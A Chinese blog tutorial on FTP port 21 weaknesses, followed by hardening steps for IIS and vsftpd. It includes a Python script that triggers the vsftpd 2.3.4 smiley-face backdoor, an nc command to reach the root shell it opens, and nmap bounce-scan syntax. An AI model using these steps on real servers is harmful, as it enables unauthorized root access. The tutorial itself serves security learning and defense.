jjzjj

端口漏洞之21(FTP)

初岄 2024-07-20 原文

21(FTP)

端口简介

FTP 是 File Transfer Protocol(文件传输协议)的英文简称,而中文简称为“文件传输协议”。用于 Internet 上的控制文件的双向传输。同时,它也是一个应用程序(Application)。基于不同的操作系统有不同的 FTP 应用程序,而所有这些应用程序都遵守同一种协议用以传输文件。在 FTP 的使用当中,用户经常遇到两个概念:“下载”(Download)和 “上传”(Upload)。“下载”文件就是从远程主机拷贝文件至自己的计算机上;“上传” 文件就是将文件从自己的计算机中拷贝至远程主机上。用 Internet 语言来说,用户可通过客户机程序向(从)远程主机上传(下载)文件。

默认端口:20(数据端口) 21(控制端口) 69(tftp小型文件传输协议)

利用方法

1.匿名访问&未授权访问

匿名访问:

用户名:anonymous 密码:为空或guest或任意邮箱

用户名:FTP 密码:为空或FTP

未授权访问:

不需要用户名密码可直接访问,一般出现在局域网中

2.弱口令&暴力破解

​ 有写权限,上传到网站目录下,直接拿下服务器

​ 低权限,获取重要资料

弱口令:

USET/pass

3.嗅探

ftp使用明文传输技术(但是嗅探给予局域网并需要欺骗或监听网关)

4.笑脸漏洞 CVE-2011-2523

在linux的vsftpd2.3.4中,存在着一个后门程序,只要在用户名后面加上**😃** 就会在6200 上打开一个监听shell,我们可以使用telnet直接连接,并且VSFTPD v2.3.4服务,是以root权限运行的,最终我们得到的权限也是root

利用过程

1.nmap扫描发现版本

2.ftp连接 账号:user:) 密码随便填,使6200端口启动并建立shell即可

3.连接6200端口

如使用nc

nc 192.168.0.1 6200
检测代码
import socket
from ftplib import FTP

url = input("请输入你需要检测的地址:")
ftp = FTP()
username = 'root:)'  # 用户名必须包含:)这两个字符
password = 'anonymous'  # 密码随便啥都行
try:
    ftp.connect(url, 21, timeout=10)  # 使用ftp登录,设置延时10秒
    ftp.login(username, password)
    ftp.quit()
except:
    print("完成登录检测")
try:
    s = socket.socket()  # 使用socket函数来检测是否有漏洞存在
    s.connect((url, 6200))
    s.close()
    print("存在微笑漏洞")
except:
    print("没有发现笑脸漏洞!")

5.远程溢出漏洞

Microsoft IIS FTP服务NLST远程缓冲区溢出漏洞

漏洞编号:CN-VA09-82

漏洞描述:

Microsoft IIS的FTP服务程序在解析目录名时存在缓冲区溢出漏洞,远程者通过提交包含特殊命名目录的FTP NLST (NAME LIST)命令请求,以触发基于栈的缓冲区溢出,导致者可以以应用程序权限执行任意指令。目前已经有利用该漏洞的程序出现,由于者需要FTP配置匿名帐户写权限或拥有其他合法帐户信息来建立特殊命名的目录,因此可以暂时禁用匿名FTP写访问权限,以缓解该漏洞对用户的影响。CNCERT提醒广大用户请继续关注厂商公告以及时下载补丁更新。

FreeFloat FTP Server溢出漏洞

参考文章:https://mp.weixin.qq.com/s/-Rx-rm4fVLP_lTo06VvRwg

6.跳转攻击

(Bounce Attacks) 攻击者发送一个FTP “PORT” 命令给目标FTP服务器,其中包含该主机的网络地址和被攻击的服务的端口号.这样,客户端就能命令FTP服务器发一个文件给被攻击的服务.这个文件可能包括跟被攻击的服务有关的命令(如SMTP,NNTP等).由于是命令第三方连接到一种服务,而不是直接连接,就使得跟踪攻击者变的困难,并且还避开了基于网络地址的访问限制.

参考链接:http://t.csdn.cn/EvQd3

FTP弹跳扫描

FTP弹跳扫描就是利用存在漏洞的FTP服务器(如HP JetDirect打印服务器),对目标主机端口实施扫描。

在Nmap中提供了一个-b选项,可以用来实施FTP弹跳扫描。用于实施FTP弹跳扫描的语法格式如下:

nmap -b [username:password@server:port] -Pn -v [host]

以上语法中的选项及含义如下:

-b:实施FTP弹跳扫描,其格式为username:password@server:port。其中,server是指FTP服务的名字或IP地址。如果FTP服务器允许匿名用户登录的话,则可以省略username:password。另外,当FTP服务使用默认端口21时,也可以省略端口号(以及前面的冒号)。FTP协议有一个特点就是支持代理FTP连接。它允许用户连接到一台FTP服务器上,然后要求文件送到一台第三方服务器上。这个特性在很多场景中被滥用,所以许多服务器已经停止支持了。其中一种场景就是使得FTP服务器对其他主机端口扫描。这是绕过防火墙的好方法,因为FTP服务器常常被置于防火墙之后,可以访问防火墙之后的其他主机。

-Pn:实施Ping扫描。

-v:显示详细信息。

并不是使用任意的FTP服务器都可以实现,而需要FTP服务器中存在漏洞。如果利用的FTP服务器中不存在漏洞的话,将会响应错误信息。

安全加固

Windows 系统 FTP 服务安全加固

打开 IIS 信息服务管理器,查看所有 FTP 服务相关的安全加固功能。

1.禁用匿名登录服务

2.启用强密码安全策略

在 Windows 系统中,强密码策略是通过组策略控制的。您可以打开本地组策略编辑器(gpedit.msc),计算机配置 > Windows 设置 > 安全设置 > 账户策略 > 密码策略,启用密码复杂策略。

启用密码必须符合复杂性要求策略后,在更改或创建用户密码时会执行复杂性策略检测,密码必须符合以下最低要求:

密码不能包含账户名
密码不能包含用户名中超过两个连续字符的部分
密码至少有六个字符长度
密码必须包含以下四类字符中的至少三类字符类型:英文大写字母(A-Z)、英文小写字母(a-z)、10个基本数字(0-9)、特殊字符(例如:!、¥、#、%)
注意:推荐 Windows 所有需要进行用户认证的服务都采用上述复杂密码策略。
3.启用账户登录失败处理机制

4.启用FTP目录隔离机制

5.指定访问源IP

6.启用授权机制

您可以根据业务需求配置授权规则,限制用户访问的权限。

7.启用SSL加密传输功能

8.启用日志功能

IIS 中的 FTP 日志是默认启用的,您可以根据磁盘空间情况配置日志空间大小和其他策略。

Linux系统vsftpd服务安全加固

1.及时安装更新补丁

在安装更新补丁前,备份您的 vsftp 应用配置。从 VSFTPD官方网站 获取最新版本的 vsftp 软件安装包,完成升级安装。或者,您可以下载最新版 vsftp 源码包,自行编译后安装更新。您也可以执行yum update vsftpd命令通过 yum 源进行更新。

2.禁止匿名登录服务

A.添加一个新用户(test),并配置强密码。例如,执行

useradd -d /home -s /sbin/nologin test

其中,/sbin/nologin参数表示该用户不能登录 Linux shell 环境。
test为用户名。

通过passwd test命令,为该用户配置强密码。密码长度建议八位以上,且密码应包括大小写字母、特殊字符、数字混合体,且不要使用生日、姓名拼音等常见字符串作为密码。

B.修改配置文件 vsftpd.conf,执行命令:

vim /etc/vsftpd/vsftpd.conf

anonymous_enable=NO,将该参数配置为 NO 表示禁止匿名登录,必须要创建用户认证后才能登录 FTP 服务。

3.禁止显示banner信息

修改 VSFTP 配置文件 vsftpd.conf,设置ftpd_banner=Welcome。重启 vsftp 服务后,即不显示 banner 信息。

4.限制FTP等用户

在 ftpusers 和 user_list 文件中列举的用户都是不允许访问 FTP 服务的用户(例如 root、bin、daemon 等用户)。除了需要登录 FTP 的用户外,其余用户都应该添加至此拒绝列表中。

5.限制FTP用户目录

A.修改 VSFTP 配置文件 vsftpd.conf

chroot_list_enable=YES
chroot_list_file=/etc/vsftpd/chroot_list

B.新建 /etc/vsftpd/chroot list 文件,并添加用户名。例如,将 user1 添加至该文件,则 user1 登录 FTP 服务后,只允许在 user1 用户的 home 目录中活动。

6.修改监听地址和默认端口
7.启用日志记录

修改 VSFTP 配置文件 vsftpd.conf,启用日志记录。

xferlog_enable=YESxferlog_std_format=YES

如果您需要自定义日志存放位置,可以修改

xferlog_file=/var/log/ftplog
8.其他安全配置

修改 VSFTP 配置文件 vsftpd.conf。

限制连接数

max_clients=100
max_per_ip=5

限制传输速度

anon_max_rate=81920
local_max_rate=81920

有关端口漏洞之21(FTP)的更多相关文章

  1. Tomcat AJP 文件包含漏洞(CVE-2020-1938) - 2

    目录1.漏洞简介2、AJP13协议介绍Tomcat主要有两大功能:3.Tomcat远程文件包含漏洞分析4.漏洞复现 5、漏洞分析6.RCE实现的原理1.漏洞简介2020年2月20日,公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞(CVE-2020-1938)。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控

  2. ruby - 是否有易于使用的 Ruby FTP 库? - 2

    是否有与FTP服务器交互的高级Ruby库?我可以使用HTTParty、Curb、RestClient或Typhoeus代替Net::HTTP,这使一切变得更容易,但我找不到任何类似的解决方案来替换/增强Net::FTP。更具体地说,我正在寻找:连接到服务器的线路最少。例如,必须使用Net::FTP显式指定登录名能够遍历一个文件夹中的所有条目,或者使用glob,或者只是递归。能够获取所有可能的信息,例如条目类型、大小、mtime,而无需手动解析返回的行。 最佳答案 Ruby的内置OpenURI将处理FTP。来自OpenURI的文档:O

  3. ruby - 如何更快地解决 project euler #21? - 2

    原始问题Letd(n)bedefinedasthesumofproperdivisorsofn(numberslessthannwhichdivideevenlyinton).Ifd(a)=bandd(b)=a,whereab,thenaandbareanamicablepairandeachofaandbarecalledamicablenumbers.Forexample,theproperdivisorsof220are1,2,4,5,10,11,20,22,44,55and110;therefored(220)=284.Theproperdivisorsof284are1,2,

  4. 什么是0day漏洞?如何预防0day攻击? - 2

    什么是0day漏洞?0day漏洞,是指已经被发现,但是还未被公开,同时官方还没有相关补丁的漏洞;通俗的讲,就是除了黑客,没人知道他的存在,其往往具有很大的突发性、破坏性、致命性。0day漏洞之所以称为0day,正是因为其补丁永远晚于攻击。所以攻击者利用0day漏洞攻击的成功率极高,往往可以达到目的并全身而退,而防守方却一无所知,只有在漏洞公布之后,才后知后觉,却为时已晚。“后知后觉、反应迟钝”就是当前安全防护面对0day攻击的真实写照!为了方便大家理解,中科三方为大家梳理当前安全防护模式下,一个漏洞从发现到解决的三个时间节点:T0:此时漏洞即0day漏洞,是已经被发现,还未被公开,官方还没有相

  5. ruby-on-rails - 如何在 Ruby Net::FTP 中使用代理服务器? - 2

    我正在使用Net::FTPruby​​库连接到FTP服务器并下载文件。一切正常,但现在我需要使用出站代理,因为他们的防火墙将IP地址列入白名单,并且我正在使用Heroku来托管该站点。我正在试用新的Proximo附加组件,它看起来很有前途,但我无法让Net::FTP使用它。我在Net::FTPdocs中看到以下内容:connect(host,port=FTP_PORT)EstablishesanFTPconnectiontohost,optionallyoverridingthedefaultport.IftheenvironmentvariableSOCKS_SERVERisset,

  6. ruby - 如何知道通过 ruby​​ 上传 ftp 是否成功? - 2

    下面的代码通过ftp上传文件并且它有效。require'net/ftp'ftp=Net::FTP.newftp.passive=trueftp.connect("***")ftp.login("***","***")ftp.chdir"claimsecure-xml-files"ftp.putbinaryfile("file.xls",File.basename("file.xls"))ftp.quit但是如何确定上传是否成功呢? 最佳答案 之后ftp.putbinaryfile("file.xls",File.basename("

  7. ruby - Chromedriver Devtools 端口号错误 - 2

    尝试使用capybara、selenium和chromedriver-helper运行测试时出现以下错误。使用相同版本的chromedriver,测试在mac上本地运行良好。我已经尝试在我的spec_helper中明确设置远程调试端口,但显然这被忽略了,因为chromedriver使用随机远程调试端口。Selenium::WebDriver::Error::UnknownError:unknownerror:Devtoolsportnumberfilecontentswereinanunexpectedformat(Driverinfo:chromedriver=2.40.565383

  8. 酷早报:10月21日全球Web3加密行业重大资讯大汇总 - 2

    2022年10月21日星期五【数据指标】加密货币总市值:$0.95万亿BTC市值占比:38.51%恐慌贪婪指数:23极度恐慌 【今日快讯】1、【政讯】1.1.1、美联储布拉德:市场预期美联储11月会加息75个基点1.1.2、美联储哈克:将维持加息一段时间1.2、美国10年期国债收益率触及4.197%,为2008年6月以来最高1.3、法国数字转型部长:政府将专注于DeFi和Web31.4、巴西ATM机将于11月3日起支持USDT1.5、美众议院副议长将于11月初加入a16zCrypto担任政府事务主管1.6、香港数字资产托管机构FirstDigitalTrust首席执行官:香港仍是安全

  9. ruby - 如何在 HTTParty 中设置端口 - 2

    我读到HTTParty使用SSLiftheportissetto443,但我不知道如何设置端口。有人可以为我澄清一下吗? 最佳答案 检查规范:https://github.com/jnunemaker/httparty/blob/82a90c1b93b076f9d2d7410123c2b5d609401a1f/spec/httparty/request_spec.rb#L41目标URL预计使用端口443。只需在目标URI末尾添加:443就足以使HTTParty使用SSL。顺便说一下,HTTPSURL也将使用SSL。例子:http:/

  10. ruby - 快速FTP服务器 - 2

    我正在寻找一个快速、无需配置的FTP服务器。完全像Serve的东西或Rack_dav,但对于FTP,它可以通过运行命令来发布文件夹。是否有gem或其他东西可以做这样的事情?解决方案基于Wayne的ftpdgem,我创建了一个快速且易于使用的gem,名为Purvey. 最佳答案 ftpdgem支持TLS,并带有文件系统驱动程序。与em-ftpd一样,您提供一个驱动程序,但该驱动程序不需要做太多事情。这是一个最低限度的FTP服务器,它接受任何用户名/密码,并提供临时目录中的文件:require'ftpd'require'tmpdir'c

随机推荐